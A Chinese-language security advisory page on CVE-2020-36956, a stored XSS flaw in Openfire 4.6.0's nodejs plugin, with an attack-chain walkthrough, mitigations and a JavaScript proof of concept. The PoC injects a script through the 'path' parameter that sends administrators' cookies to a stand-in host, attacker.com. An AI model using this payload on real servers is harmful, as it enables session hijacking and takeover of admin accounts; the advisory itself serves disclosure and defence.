IPBUF安全漏洞报告
English
CVE-2020-36956 CVSS 6.4 中危

CVE-2020-36956 Openfire nodejs插件存储型XSS漏洞

披露日期: 2026-01-26

漏洞信息

漏洞编号
CVE-2020-36956
漏洞类型
存储型XSS
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Openfire

相关标签

CVE-2020-36956Openfire存储型XSSnodejs插件跨站脚本Web安全身份验证绕过

漏洞概述

CVE-2020-36956是Openfire 4.6.0版本中nodejs插件存在的存储型跨站脚本(Stored XSS)漏洞。该漏洞允许低权限攻击者通过构造恶意的path参数注入JavaScript脚本代码。由于该脚本存储在服务器端,所有访问nodejs配置页面的管理员都会受到攻击影响。攻击者利用此漏洞可以窃取管理员会话Cookie、劫持管理员账户、执行任意管理操作,甚至可能通过管理员权限进一步渗透内网系统。该漏洞的CVSS评分为6.4,属于中等严重程度,攻击复杂度低,无需用户交互即可实现攻击。漏洞存在于Openfire的nodejs插件模块中,该插件用于在Openfire服务器上运行Node.js应用程序。

技术细节

漏洞根源在于Openfire的nodejs插件对用户输入的path参数缺乏充分的输入验证和输出编码。攻击者可以在path参数中注入包含<script>标签的恶意JavaScript代码,该代码会被永久存储在服务器配置中。当管理员访问nodejs配置页面时,服务器会从数据库读取并展示这些未经过滤的内容,导致恶意脚本在管理员浏览器中执行。攻击者利用此存储型XSS可以绕过同源策略限制,访问管理员的认证Cookie和会话信息。由于Openfire管理后台通常具有较高的系统权限,攻击者获取管理员权限后可以执行任意命令、修改系统配置或部署后门程序。漏洞的利用条件仅为低权限认证,攻击向量为网络层面,无需目标用户进行任何交互操作。

攻击链分析

STEP 1
步骤1
攻击者获取Openfire系统的低权限账户(如普通用户或受限账户)
STEP 2
步骤2
攻击者构造包含<script>标签的XSS payload,通过path参数注入恶意JavaScript代码
STEP 3
步骤3
攻击者将恶意payload提交到nodejs插件配置端点,payload被存储在服务器数据库中
STEP 4
步骤4
管理员访问nodejs配置页面,服务器从数据库读取并展示未经过滤的path参数内容
STEP 5
步骤5
恶意JavaScript在管理员浏览器中执行,窃取管理员Cookie或执行其他恶意操作
STEP 6
步骤6
攻击者利用窃取的会话信息劫持管理员账户,获取完整的系统管理权限

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2020-36956 PoC - Stored XSS in Openfire nodejs plugin path parameter // Target: Openfire 4.6.0 with nodejs plugin // This PoC demonstrates injecting JavaScript via the 'path' parameter // Step 1: Authenticate with low-privilege account const authToken = 'Basic ' + btoa('lowpriv_user:password'); // Step 2: Inject malicious script through path parameter const payload = '<script>document.location="https://attacker.com/steal?c="+document.cookie</script>'; const xssPayload = encodeURIComponent(payload); // Step 3: Send crafted request to nodejs plugin configuration endpoint fetch('http://target:9090/plugins/nodejs/settings', { method: 'POST', headers: { 'Authorization': authToken, 'Content-Type': 'application/x-www-form-urlencoded' }, body: `path=${xssPayload}&save=Save` }); // When admin visits the nodejs config page, the script executes: // - Cookie is stolen and sent to attacker-controlled server // - Attacker can hijack admin session // - Attacker gains full admin access to Openfire management console

影响范围

Openfire 4.6.0

防御指南

临时缓解措施
在官方补丁发布前,可临时采取以下措施:1)禁用或移除nodejs插件直至漏洞修复;2)对管理后台访问实施严格的IP白名单限制;3)启用HttpOnly和Secure标志保护Cookie;4)监控管理后台的异常访问行为;5)限制低权限用户对插件配置的访问权限。建议尽快升级到Openfire官方发布的安全版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表